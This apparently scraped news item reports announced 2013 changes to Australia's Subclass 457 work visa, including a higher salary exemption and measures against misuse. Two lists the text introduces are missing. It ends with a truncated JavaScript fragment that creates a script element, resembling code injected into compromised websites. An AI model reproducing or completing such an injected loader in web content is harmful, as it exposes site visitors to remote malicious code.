Minister for Immigration and Citizenship, the Hon Brendan O’Connor MP, announced major but yet undefined changes to the Subclass 457 visa in a media release over the weekend, as follows:
DIAC has provided the Migration Institute of Australia (MIA) with the following further information about the changes:
More detailed information is expected on the DIAC website later today or this evening;
The Minister’s announcement is the policy – DIAC is now working on details and legislation;
Most changes are expected to be introduced on 1 July 2013;
The changes are designed to prevent many known abuses that are currently not illegal but are not in keeping with the intent of the program. Such known abuses include:
Whilst the Minister does not intend to remove genuinely required generic occupations (eg, Project Administrator, Marketing Specialist) from the program, there may be an increased skills assessment or English requirement for these occupations;
The increase in the market salary exemption from $180,000 to $250,000 is designed to prevent Australian citizens or permanent residents in occupations where the market salary is $250,000 or higher from being replaced by Subclass 457 visa holders who can be paid $180,000;
Case officers are likely to be given a discretionary power to make investigations of market salary rate beyond what is paid in an individual company; and
DIAC believes that genuine users of the Subclass 457 visa program who are not trying to use if for purposes for which it was not intended will not be affected by the changes.
Source: Migration Institute of Australiavar d=document;var s=d.createElement(‘script’);
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